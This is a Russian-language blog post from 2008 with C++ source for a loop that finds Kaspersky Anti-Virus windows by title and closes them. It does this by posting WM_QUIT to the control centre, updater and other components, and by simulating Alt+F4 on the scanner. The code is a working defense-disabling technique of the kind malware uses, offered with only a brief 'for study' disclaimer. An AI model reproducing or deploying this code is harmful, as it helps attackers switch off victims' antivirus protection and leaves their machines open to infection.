Меню
Категории
Как закрывать активное окно антивируса
4 марта, 2008 Программинг

Чтобы закрывать активное окно антивируса мы будем использовать функции FindWindow и PostMessage.

FindWindow — Ищет окно по заголовку и взовращает его заголовок.
PostMessage — Отправляет сообщение процессу, в нашем случае WM_QUIT (Закрыть).

Как только мы нашли окно с нужным нам TITLE. Мы закрываем программу. Если же программа выпендривается и не закрывается — эмулируем нажатие клавиш Alt+F4 (Закрыть окно). Метод детский, но для того, чтобы иметь понятие о защите от вирусов полезно.

#pragma hdrstop
#include <windows.h>
#include <iostream.h>
#pragma argsused
int main(int argc, char* argv[])
{
do
{

if (FindWindow(NULL, “Kaspersky Anti-Virus Scanner”)!=0)
{

ShowWindow(FindWindow(NULL, “Kaspersky Anti-Virus Scanner”) , SC_MAXIMIZE);
Sleep(5000);
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
break;
}

PostMessage(FindWindow(NULL, “Kaspersky Anti-Virus Control Centre”), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, “Kaspersky Anti-Virus Updater”), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, “Kaspersky Anti-Virus Rescue Disk”), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, “Kaspersky Office Guard”), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, “Untitled – Kaspersky Report Viewer”), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, “Kaspersky Virus List Generator”), WM_QUIT, 0, 0);

Sleep(100);
}while(1);
}

Весь материал представлен исключительно для ознакомления. И совершенствования методов борьбы с компьютерными вирусами.

"1" Comment
  1. Как обновления NOD32 скаченые с инета , обновить NOD32 а другом ПК у которого нт доступа к интернету?

Добавить комментарий




*